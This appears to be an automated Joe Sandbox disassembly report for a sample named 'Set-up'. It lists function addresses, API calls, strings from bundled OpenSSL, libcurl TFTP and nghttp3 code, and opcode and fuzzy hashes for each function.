Function 004785A0 Relevance: .2, Instructions: 195COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000000.00000002.1767167567.0000000000111000.00000020.00000001.01000000.00000003.sdmp, Offset: 00110000, based on PE: true

Associated: 00000000.00000002.1767154211.0000000000110000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1767522836.000000000063C000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1767522836.00000000006DA000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1767567457.00000000006DB000.00000008.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1767580643.00000000006DE000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1767594939.00000000006DF000.00000008.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1767608606.00000000006E3000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1767621658.00000000006E5000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1767708497.000000000083C000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1767708497.0000000000840000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1767735572.0000000000841000.00000008.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1767748531.0000000000845000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_110000_Set-up.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 35dd7c2079c1fa6b0087e2d2de5362958a200034a8dd1f6b3a61df2fc508b35e
Instruction ID: f9a33ec4b81729e17f43f22549c88f21198964be9e2d2c193c491faaec06cc0b
Opcode Fuzzy Hash: 35dd7c2079c1fa6b0087e2d2de5362958a200034a8dd1f6b3a61df2fc508b35e
Instruction Fuzzy Hash: 387117751043058BC7199F6CD5C41A9FBE1BF88310F29CB6ED99A8B342D638EC95CB85

Function 0048A800 Relevance: .2, Instructions: 190COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000000.00000002.1767167567.0000000000111000.00000020.00000001.01000000.00000003.sdmp, Offset: 00110000, based on PE: true

Associated: 00000000.00000002.1767154211.0000000000110000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1767522836.000000000063C000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1767522836.00000000006DA000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1767567457.00000000006DB000.00000008.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1767580643.00000000006DE000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1767594939.00000000006DF000.00000008.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1767608606.00000000006E3000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1767621658.00000000006E5000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1767708497.000000000083C000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1767708497.0000000000840000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1767735572.0000000000841000.00000008.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1767748531.0000000000845000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_110000_Set-up.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: e5b506c9d8ef60c1196b6751c9ec9814b419d642104004d7291babe28335ee3e
Instruction ID: c52bf2c504138b26b42ed908ba7a4c58f17b406fe10f48980904cd6f44378ea7
Opcode Fuzzy Hash: e5b506c9d8ef60c1196b6751c9ec9814b419d642104004d7291babe28335ee3e
Instruction Fuzzy Hash: EF71E4715082168BD719AF6CE1C4169FBE1BF88300F198F6FD98987342D278ECA5CB45

Function 00284170 Relevance: .2, Instructions: 169COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000000.00000002.1767167567.0000000000111000.00000020.00000001.01000000.00000003.sdmp, Offset: 00110000, based on PE: true

Associated: 00000000.00000002.1767154211.0000000000110000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1767522836.000000000063C000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1767522836.00000000006DA000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1767567457.00000000006DB000.00000008.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1767580643.00000000006DE000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1767594939.00000000006DF000.00000008.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1767608606.00000000006E3000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1767621658.00000000006E5000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1767708497.000000000083C000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1767708497.0000000000840000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1767735572.0000000000841000.00000008.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1767748531.0000000000845000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_110000_Set-up.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 3775dd632b4603a654caba90e5cbcb8b83cbcd176971500a57377c2fde6df80c
Instruction ID: efef31d1435a5fef92f7658ab0d288e74d4dd20d791594c617e0bf2cf3e8501f
Opcode Fuzzy Hash: 3775dd632b4603a654caba90e5cbcb8b83cbcd176971500a57377c2fde6df80c
Instruction Fuzzy Hash: AD513939B1A3424BD704BE5C848026EB7D1FBA6324F2947BDD89A8B386C220DC16C781

Function 0048A610 Relevance: .2, Instructions: 167COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000000.00000002.1767167567.0000000000111000.00000020.00000001.01000000.00000003.sdmp, Offset: 00110000, based on PE: true

Associated: 00000000.00000002.1767154211.0000000000110000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1767522836.000000000063C000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1767522836.00000000006DA000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1767567457.00000000006DB000.00000008.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1767580643.00000000006DE000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1767594939.00000000006DF000.00000008.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1767608606.00000000006E3000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1767621658.00000000006E5000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1767708497.000000000083C000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1767708497.0000000000840000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1767735572.0000000000841000.00000008.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1767748531.0000000000845000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_110000_Set-up.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 83db59486c18492124bd9af9a04ac40461035559c79e715ee1e288333a85c4a6
Instruction ID: a02bf752c567ac3183c10190017b84b331b3c40d81260d213e980c56b8a8d471
Opcode Fuzzy Hash: 83db59486c18492124bd9af9a04ac40461035559c79e715ee1e288333a85c4a6
Instruction Fuzzy Hash: C751B076A086258BD718EF19C1D002DFBE2BB88300F15CA6EDD9967741C374AD64DBC6

Function 0049A000 Relevance: .1, Instructions: 122COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000000.00000002.1767167567.0000000000111000.00000020.00000001.01000000.00000003.sdmp, Offset: 00110000, based on PE: true

Associated: 00000000.00000002.1767154211.0000000000110000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1767522836.000000000063C000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1767522836.00000000006DA000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1767567457.00000000006DB000.00000008.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1767580643.00000000006DE000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1767594939.00000000006DF000.00000008.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1767608606.00000000006E3000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1767621658.00000000006E5000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1767708497.000000000083C000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1767708497.0000000000840000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1767735572.0000000000841000.00000008.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1767748531.0000000000845000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_110000_Set-up.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 43ca0627f881cf177445ab0957e0dd518c042ce74fa7e59b5b191a8113bb2889
Instruction ID: 225e67725f9c965f897a2771e5b2d3b1aa07327ba93bc932315aa31f613f3393
Opcode Fuzzy Hash: 43ca0627f881cf177445ab0957e0dd518c042ce74fa7e59b5b191a8113bb2889
Instruction Fuzzy Hash: 8931C4313083194BCF14AD6DC8C422BFAD39BD8350F55863EE589C3380E9758C6986CB

Function 003084A0 Relevance: 60.4, APIs: 24, Strings: 16, Instructions: 382stringCOMMON

Download Yara Rule

APIs

strcmp.API-MS-WIN-CRT-STRING-L1-1-0(?,?), ref: 003085B6
strcmp.API-MS-WIN-CRT-STRING-L1-1-0(?,ANY PRIVATE KEY), ref: 003085CC
strcmp.API-MS-WIN-CRT-STRING-L1-1-0(?,PARAMETERS), ref: 003085E2
strcmp.API-MS-WIN-CRT-STRING-L1-1-0(?,X9.42 DH PARAMETERS), ref: 003085F8
strcmp.API-MS-WIN-CRT-STRING-L1-1-0(?,DH PARAMETERS), ref: 0030860A
strcmp.API-MS-WIN-CRT-STRING-L1-1-0(?,X509 CERTIFICATE), ref: 00308620
strcmp.API-MS-WIN-CRT-STRING-L1-1-0(?,CERTIFICATE), ref: 00308634
strcmp.API-MS-WIN-CRT-STRING-L1-1-0(?,NEW CERTIFICATE REQUEST), ref: 0030864A
strcmp.API-MS-WIN-CRT-STRING-L1-1-0(?,CERTIFICATE REQUEST), ref: 0030865C
strcmp.API-MS-WIN-CRT-STRING-L1-1-0(?,CERTIFICATE), ref: 00308672
strcmp.API-MS-WIN-CRT-STRING-L1-1-0(?,TRUSTED CERTIFICATE), ref: 003086A0
strcmp.API-MS-WIN-CRT-STRING-L1-1-0(?,PKCS7), ref: 003086BA
strcmp.API-MS-WIN-CRT-STRING-L1-1-0(?,PKCS #7 SIGNED DATA), ref: 003086D0
strcmp.API-MS-WIN-CRT-STRING-L1-1-0(?,PKCS7), ref: 003086E2
strcmp.API-MS-WIN-CRT-STRING-L1-1-0(?,CMS), ref: 003086FC
strcmp.API-MS-WIN-CRT-STRING-L1-1-0(?,PKCS7), ref: 00308712
strcmp.API-MS-WIN-CRT-STRING-L1-1-0(?,CMS), ref: 0030872A
strcmp.API-MS-WIN-CRT-STRING-L1-1-0(?,TRUSTED CERTIFICATE), ref: 00308686

Part of subcall function 002ECBC0: free.API-MS-WIN-CRT-HEAP-L1-1-0(?,002C7254,?,crypto/err/err_local.h,00000039,00000000,?,00040000,?,002C40BB,crypto/engine/eng_list.c,000000EB,ENGINE_get_first,00000000,002EBD91), ref: 002ECBD2

Strings

CMS, xrefs: 003086F6, 00308724
CERTIFICATE REQUEST, xrefs: 00308656
PRIVATE KEY, xrefs: 00308756, 00308787
CERTIFICATE, xrefs: 0030862E, 0030866C
PARAMETERS, xrefs: 003085DC, 003087FB
ENCRYPTED PRIVATE KEY, xrefs: 00308740
TRUSTED CERTIFICATE, xrefs: 00308680, 0030869A
Expecting: , xrefs: 00308908
DH PARAMETERS, xrefs: 00308604
PKCS #7 SIGNED DATA, xrefs: 003086CA
X9.42 DH PARAMETERS, xrefs: 003085F2
ANY PRIVATE KEY, xrefs: 003085C6
PKCS7, xrefs: 003086B4, 003086DC, 0030870C
crypto/pem/pem_lib.c, xrefs: 003084F6, 00308509, 0030851F, 00308545, 0030855A, 00308572, 003088CE, 00308935, 00308948, 0030895F, 00308977, 0030898C, 003089A5, 003089CB
NEW CERTIFICATE REQUEST, xrefs: 00308644
X509 CERTIFICATE, xrefs: 0030861A

Memory Dump Source

Source File: 00000000.00000002.1767167567.0000000000111000.00000020.00000001.01000000.00000003.sdmp, Offset: 00110000, based on PE: true

Associated: 00000000.00000002.1767154211.0000000000110000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1767522836.000000000063C000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1767522836.00000000006DA000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1767567457.00000000006DB000.00000008.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1767580643.00000000006DE000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1767594939.00000000006DF000.00000008.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1767608606.00000000006E3000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1767621658.00000000006E5000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1767708497.000000000083C000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1767708497.0000000000840000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1767735572.0000000000841000.00000008.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1767748531.0000000000845000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_110000_Set-up.jbxd

Similarity

API ID: strcmp$free
String ID: ANY PRIVATE KEY$CERTIFICATE$CERTIFICATE REQUEST$CMS$DH PARAMETERS$ENCRYPTED PRIVATE KEY$Expecting: $NEW CERTIFICATE REQUEST$PARAMETERS$PKCS #7 SIGNED DATA$PKCS7$PRIVATE KEY$TRUSTED CERTIFICATE$X509 CERTIFICATE$X9.42 DH PARAMETERS$crypto/pem/pem_lib.c
API String ID: 3401341699-4246700284
Opcode ID: be2826a77b382f51fd0109ee3e605fe81c500cbf79b7d07bcf4bb4eff16a3a4d
Instruction ID: c45a6dea8a6ab77caef4038a7b41772fc5767d841746d9f8d1c329896869d5bd
Opcode Fuzzy Hash: be2826a77b382f51fd0109ee3e605fe81c500cbf79b7d07bcf4bb4eff16a3a4d
Instruction Fuzzy Hash: 9DB15AF1A4630627DE127725AC23FAB36881F6179DF48443CF988A02C3FFA9E5158657

Function 00182010 Relevance: 51.2, APIs: 11, Strings: 18, Instructions: 414stringnetworkCOMMON

Download Yara Rule

APIs

_time64.API-MS-WIN-CRT-TIME-L1-1-0(00000000), ref: 0018204A
_time64.API-MS-WIN-CRT-TIME-L1-1-0(00000000), ref: 00182068
WSAGetLastError.WS2_32 ref: 001820DE
recvfrom.WS2_32(?,?,?,00000000,?,00000080), ref: 0018214D
memchr.API-MS-WIN-CRT-PRIVATE-L1-1-0(?,00000000), ref: 00182365
memchr.API-MS-WIN-CRT-PRIVATE-L1-1-0(?,00000000), ref: 0018238F
strlen.API-MS-WIN-CRT-STRING-L1-1-0(?), ref: 001823B9
strtol.API-MS-WIN-CRT-CONVERT-L1-1-0(?,00000000,0000000A), ref: 0018241D
strtol.API-MS-WIN-CRT-CONVERT-L1-1-0(?,00000000,0000000A), ref: 001824AD

Strings

Internal error: Unexpected packet, xrefs: 001822C4
Received too short packet, xrefs: 00182169
invalid tsize -:%s:- value in OACK packet, xrefs: 00182573
%s (%d), xrefs: 0018254A
TFTP error: %s, xrefs: 0018228B
server requested blksize larger than allocated, xrefs: 00182552
got option=(%s) value=(%s), xrefs: 001823E8
invalid blocksize value in OACK packet, xrefs: 0018251F
blksize, xrefs: 001823FC
%s (%ld), xrefs: 001824D8, 00182557
blksize is smaller than min supported, xrefs: 00182545
blksize parsed from OACK, xrefs: 00182332
%s (%d) %s (%d), xrefs: 00182337
tsize, xrefs: 0018248D
Malformed ACK packet, rejecting, xrefs: 00182514
tsize parsed from OACK, xrefs: 001824D3
blksize is larger than max supported, xrefs: 0018253C
requested, xrefs: 0018232C

Memory Dump Source

Source File: 00000000.00000002.1767167567.0000000000111000.00000020.00000001.01000000.00000003.sdmp, Offset: 00110000, based on PE: true

Associated: 00000000.00000002.1767154211.0000000000110000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1767522836.000000000063C000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1767522836.00000000006DA000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1767567457.00000000006DB000.00000008.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1767580643.00000000006DE000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1767594939.00000000006DF000.00000008.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1767608606.00000000006E3000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1767621658.00000000006E5000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1767708497.000000000083C000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1767708497.0000000000840000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1767735572.0000000000841000.00000008.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1767748531.0000000000845000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_110000_Set-up.jbxd

Similarity

API ID: _time64memchrstrtol$ErrorLastrecvfromstrlen
String ID: %s (%d)$%s (%d) %s (%d)$%s (%ld)$Internal error: Unexpected packet$Malformed ACK packet, rejecting$Received too short packet$TFTP error: %s$blksize$blksize is larger than max supported$blksize is smaller than min supported$blksize parsed from OACK$got option=(%s) value=(%s)$invalid blocksize value in OACK packet$invalid tsize -:%s:- value in OACK packet$requested$server requested blksize larger than allocated$tsize$tsize parsed from OACK
API String ID: 3302935713-3407012168
Opcode ID: 5e354658b51150a78df5e8a676383d358c83f99a17022883e398934f5e3b9478
Instruction ID: b88b51c7056b62db36987ee496653175b00bd14d12fc294d2bb56222742646a3
Opcode Fuzzy Hash: 5e354658b51150a78df5e8a676383d358c83f99a17022883e398934f5e3b9478
Instruction Fuzzy Hash: E0E134B5A00301ABD712EB28DC41B7BB7E5FF94704F098529FC4897282E774EA10CB92

Function 001BA140 Relevance: 45.8, APIs: 17, Strings: 9, Instructions: 341COMMON

Download Yara Rule

APIs

memcpy.API-MS-WIN-CRT-PRIVATE-L1-1-0(-00000011,?,?), ref: 001BA29A
memcpy.API-MS-WIN-CRT-PRIVATE-L1-1-0(0000000F,?,?), ref: 001BA2C5
memmove.API-MS-WIN-CRT-PRIVATE-L1-1-0(?,?,0000000F), ref: 001BA2E3

Part of subcall function 001BA5A0: memcpy.API-MS-WIN-CRT-PRIVATE-L1-1-0(-00000001,?,0000000F), ref: 001BA5FC

Strings

node->blk->n == NGHTTP3_KSL_MIN_NBLK, xrefs: 001BA4D3
n > 0, xrefs: 001BA53C, 001BA57B
lblk->n >= NGHTTP3_KSL_MIN_NBLK + n, xrefs: 001BA527
lblk->n <= NGHTTP3_KSL_MAX_NBLK - n, xrefs: 001BA566
i > 0, xrefs: 001BA4E8, 001BA590
rblk->n >= NGHTTP3_KSL_MIN_NBLK + n, xrefs: 001BA551
nghttp3_ksl.c, xrefs: 001BA4CE, 001BA4E3, 001BA4F8, 001BA50D, 001BA522, 001BA537, 001BA54C, 001BA561, 001BA576, 001BA58B
i < blk->n - 1, xrefs: 001BA4FD
rblk->n <= NGHTTP3_KSL_MAX_NBLK - n, xrefs: 001BA512

Memory Dump Source

Source File: 00000000.00000002.1767167567.0000000000111000.00000020.00000001.01000000.00000003.sdmp, Offset: 00110000, based on PE: true

Associated: 00000000.00000002.1767154211.0000000000110000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1767522836.000000000063C000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1767522836.00000000006DA000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1767567457.00000000006DB000.00000008.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1767580643.00000000006DE000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1767594939.00000000006DF000.00000008.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1767608606.00000000006E3000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1767621658.00000000006E5000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1767708497.000000000083C000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1767708497.0000000000840000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1767735572.0000000000841000.00000008.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1767748531.0000000000845000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_110000_Set-up.jbxd

Similarity

API ID: memcpy$memmove
String ID: i < blk->n - 1$i > 0$lblk->n <= NGHTTP3_KSL_MAX_NBLK - n$lblk->n >= NGHTTP3_KSL_MIN_NBLK + n$n > 0$nghttp3_ksl.c$node->blk->n == NGHTTP3_KSL_MIN_NBLK$rblk->n <= NGHTTP3_KSL_MAX_NBLK - n$rblk->n >= NGHTTP3_KSL_MIN_NBLK + n
API String ID: 1283327689-1606465060
Opcode ID: 29135a27ec9015c7782e8dc63f41380f6a805b2da16790f114efbe23eced3186
Instruction ID: 066bf7c5c0e011404fef39d0220b9dbf8f7f75b5d379f1f65a1a176e1135c796
Opcode Fuzzy Hash: 29135a27ec9015c7782e8dc63f41380f6a805b2da16790f114efbe23eced3186
Instruction Fuzzy Hash: 85C1F371600305EFCB14DF18C8859AAB7E5FF88314F98862DF9599B292D770ED84CB82

Function 001827E0 Relevance: 35.4, APIs: 4, Strings: 16, Instructions: 406stringnetworkCOMMON

Download Yara Rule

APIs

strlen.API-MS-WIN-CRT-STRING-L1-1-0(?), ref: 00182AD7
strlen.API-MS-WIN-CRT-STRING-L1-1-0(?), ref: 00182B3D
sendto.WS2_32(?,?,?,00000000,?,00000007), ref: 00182D30
WSAGetLastError.WS2_32 ref: 00182D3A

Strings

octet, xrefs: 0018280B
0, xrefs: 00182B94
tftp_send_first: internal error, xrefs: 0018295C
Connected for receive, xrefs: 0018290B, 0018298A
blksize, xrefs: 00182C33
TFTP buffer too small for options, xrefs: 00182C60
timeout, xrefs: 00182CD3
tsize, xrefs: 00182BAD
TFTP filename too long, xrefs: 00182AF5
netascii, xrefs: 00182810, 00182B23
Internal state machine error, xrefs: 001828C5
%s%c%s%c, xrefs: 00182B2A
%lld, xrefs: 00182B82
Connected for transmit, xrefs: 001829E0, 00182A34
tftp.c, xrefs: 00182B03, 00182C6E, 00182D62
TFTP finished, xrefs: 0018289C

Memory Dump Source

Source File: 00000000.00000002.1767167567.0000000000111000.00000020.00000001.01000000.00000003.sdmp, Offset: 00110000, based on PE: true

Associated: 00000000.00000002.1767154211.0000000000110000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1767522836.000000000063C000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1767522836.00000000006DA000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1767567457.00000000006DB000.00000008.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1767580643.00000000006DE000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1767594939.00000000006DF000.00000008.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1767608606.00000000006E3000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1767621658.00000000006E5000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1767708497.000000000083C000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1767708497.0000000000840000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1767735572.0000000000841000.00000008.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1767748531.0000000000845000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_110000_Set-up.jbxd

Similarity

API ID: strlen$ErrorLastsendto
String ID: %lld$%s%c%s%c$0$Connected for receive$Connected for transmit$Internal state machine error$TFTP buffer too small for options$TFTP filename too long$TFTP finished$blksize$netascii$octet$tftp.c$tftp_send_first: internal error$timeout$tsize
API String ID: 3285375004-3063461439
Opcode ID: 8e66bcece5930d9186ab076228a8d17f311e9afaa4f722102e9ee8fb076125af
Instruction ID: 53556abeb131a0b1c7a270f8367ac154637b45a4e6e0caa6ed198124ab601050
Opcode Fuzzy Hash: 8e66bcece5930d9186ab076228a8d17f311e9afaa4f722102e9ee8fb076125af
Instruction Fuzzy Hash: CCE12971B00304ABD719FB28CC46FBA7395AF61708F094569FD185B392E772EA14CBA1

Function 00134720 Relevance: 31.9, APIs: 15, Strings: 3, Instructions: 426stringCOMMON

Download Yara Rule

APIs

memchr.API-MS-WIN-CRT-PRIVATE-L1-1-0(?,00000040,?), ref: 00134749
strchr.API-MS-WIN-CRT-PRIVATE-L1-1-0(00000000,0000005D), ref: 001348E5
strchr.API-MS-WIN-CRT-PRIVATE-L1-1-0(00000000,0000003A), ref: 0013491B
_errno.API-MS-WIN-CRT-RUNTIME-L1-1-0 ref: 00134963
strtoul.API-MS-WIN-CRT-CONVERT-L1-1-0(00000001,?,0000000A), ref: 00134971
_errno.API-MS-WIN-CRT-RUNTIME-L1-1-0 ref: 0013497B

Part of subcall function 001306F0: strlen.API-MS-WIN-CRT-STRING-L1-1-0(?,?,?,?,?,00135663,?), ref: 001306F9

_errno.API-MS-WIN-CRT-RUNTIME-L1-1-0 ref: 00134A41
strtoul.API-MS-WIN-CRT-CONVERT-L1-1-0(00000000,?,00000000), ref: 00134A63
_errno.API-MS-WIN-CRT-RUNTIME-L1-1-0 ref: 00134A6D
strtoul.API-MS-WIN-CRT-CONVERT-L1-1-0(00000001,?,00000000), ref: 00134AE0
_errno.API-MS-WIN-CRT-RUNTIME-L1-1-0 ref: 00134AEA
strtoul.API-MS-WIN-CRT-CONVERT-L1-1-0(00000001,?,00000000), ref: 00134B28
_errno.API-MS-WIN-CRT-RUNTIME-L1-1-0 ref: 00134B34
strtoul.API-MS-WIN-CRT-CONVERT-L1-1-0(00000001,?,00000000), ref: 00134B76
_errno.API-MS-WIN-CRT-RUNTIME-L1-1-0 ref: 00134B80

Strings

urlapi.c, xrefs: 001347B9, 001347CC, 001347E2, 0013482C, 00134856, 00134879, 001349A6
%ld, xrefs: 001349BC
%u.%u.%u.%u, xrefs: 00134C00

Memory Dump Source

Source File: 00000000.00000002.1767167567.0000000000111000.00000020.00000001.01000000.00000003.sdmp, Offset: 00110000, based on PE: true

Associated: 00000000.00000002.1767154211.0000000000110000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1767522836.000000000063C000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1767522836.00000000006DA000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1767567457.00000000006DB000.00000008.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1767580643.00000000006DE000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1767594939.00000000006DF000.00000008.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1767608606.00000000006E3000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1767621658.00000000006E5000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1767708497.000000000083C000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1767708497.0000000000840000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1767735572.0000000000841000.00000008.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1767748531.0000000000845000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_110000_Set-up.jbxd

Similarity

API ID: _errno$strtoul$strchr$memchrstrlen
String ID: %ld$%u.%u.%u.%u$urlapi.c
API String ID: 102816355-2423153182
Opcode ID: 44118acb66fce03f7bdc2c697080699759db8fab639e840a178fb2b808bad8ea
Instruction ID: 2aa5f644b6bca5af33781ffdadd6d8a9e8322b5e0c7b82dc40217b99b56271fd
Opcode Fuzzy Hash: 44118acb66fce03f7bdc2c697080699759db8fab639e840a178fb2b808bad8ea
